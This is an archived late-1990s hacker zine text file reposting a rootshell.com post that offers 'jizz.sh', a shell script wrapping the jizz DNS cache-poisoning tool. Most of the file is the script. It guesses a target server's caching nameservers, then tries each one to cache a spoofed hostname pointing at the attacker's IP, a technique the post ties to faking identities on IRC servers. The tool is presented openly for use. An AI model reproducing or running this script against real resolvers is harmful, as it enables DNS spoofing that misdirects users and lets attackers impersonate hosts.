home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / jizz.sh < prev    next >
Text File  |  1998-12-09  |  4KB  |  128 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. From: philbert <philbert@DATATRAX.NET>
  5. Subject: DNS "spoofing" simplified
  6.  
  7.       Alot of people ask about DNS spoofing and how common utilities like
  8. "jizz" work. Jizz and the like are not generally easy utilities to use
  9. even if you do have an authorative nameserver. The idea is not simple and
  10. the instructions with such utils arn't very self explanatory. On top
  11. of that, even if you understand it completelly with any of them you have
  12. to either know what the target is using as a cacheing nameserver or
  13. otherwise make a calculated guess. I wrote a script interface tonight to
  14. the commonly available jizz binary to make it a: alot simpler to
  15. understand and b: my script will automatically try to determine the
  16. destinations nameserver and cache the domain on it, so that the only thing
  17. required to enter after the nameserver info is set up is the IP of the
  18. client, domain name you want to spoof, and destination server (IRC server
  19. or what not). The script does the rest for you.
  20.  
  21.       Please do not email me asking where to get jizz. If you don't have
  22. it I'm not going to give it to you. Also the return email in the script
  23. does not have an MX *yet* so if you want to reach me I can be found on
  24. irc efnet as philbert.
  25.  
  26. here is the script:
  27.  
  28. --- begin jizz.sh ---
  29.  
  30. #!/bin/sh
  31. #
  32. # This script requires perl and the latest version of sh-utils for calculations,
  33. # as well as other various standard unix utilities.
  34. #
  35. # This interface DOES NOT require you to know the cacheing nameserver of
  36. # the destination server, it will attempt to calculate it for you.
  37. #
  38.  
  39. case "${3}" in
  40.   "")
  41. echo
  42. echo "Intelligent DNS spoofer interface, by philbert."
  43. echo "(philbert@DataTrax.Net)"
  44. echo
  45. echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
  46. echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
  47. echo
  48. exit 1
  49.   ;;
  50. esac
  51.  
  52. # ----------------------------------------------------------
  53. # Set the configurations for your nameserver here
  54.  
  55. # The name of the nameserver this is running on:
  56. NS=ns3.datatrax.net
  57.  
  58. # The IP address of the nameserver this is running on:
  59. IP=1.2.3.4
  60.  
  61. # A domain that this nameserver is strictly authorative for:
  62. AUTH=spoof.datatrax.net
  63.  
  64. # End of user configuration
  65. # ----------------------------------------------------------
  66.  
  67. RAND=$RANDOM
  68. export RAND
  69.  
  70. jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
  71. sleep 1
  72.  
  73. if [ "$3" = "-ns" ]; then
  74.  
  75. echo "echo "trying to cache $2 on $4..."
  76. nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1
  77.  
  78. echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`
  79.  
  80. exit 1
  81. else false ; fi
  82.  
  83. NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
  84. if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi
  85.  
  86. echo "trying to cache $2 on the server itself..."
  87.  
  88. nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1
  89.  
  90. TEST=`nslookup $1 $3 | grep Name | cut -c10-`
  91.  
  92. if [ "$TEST" = "$2" ]; then
  93. echo "Success!, $2 is cached on $3 as $1"
  94. else echo "Failed..."; fi
  95.  
  96. RDEST=`nslookup $NS | grep Name | cut -c10-`
  97. if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi
  98.  
  99. NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
  100. if [ "$NS" = "" ]; then
  101. NS=`echo $RDEST | cut -f2- -d.`
  102. NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
  103. else NS=$NS; fi
  104.  
  105. CRUNCH=1
  106.  
  107. while true ; do
  108.  
  109. TARGET=`echo $NS | cut -f$CRUNCH -d" "`
  110.  
  111. if [ "$TARGET" = "" ]; then
  112. killall -9 jizz >/dev/null &
  113. exit 1; else TARGET=$TARGET; fi
  114.  
  115. echo "trying to cache $2 on $TARGET..."
  116. nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
  117. TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`
  118.  
  119. if [ "$TEST" = "$2" ]; then
  120. echo "Success!, $2 is cached on $TARGET as $1"
  121. else echo "Failed..."; fi
  122.  
  123. CRUNCH=`expr $CRUNCH + 1`
  124.  
  125. done
  126.  
  127. --- end jizz.sh ---
  128.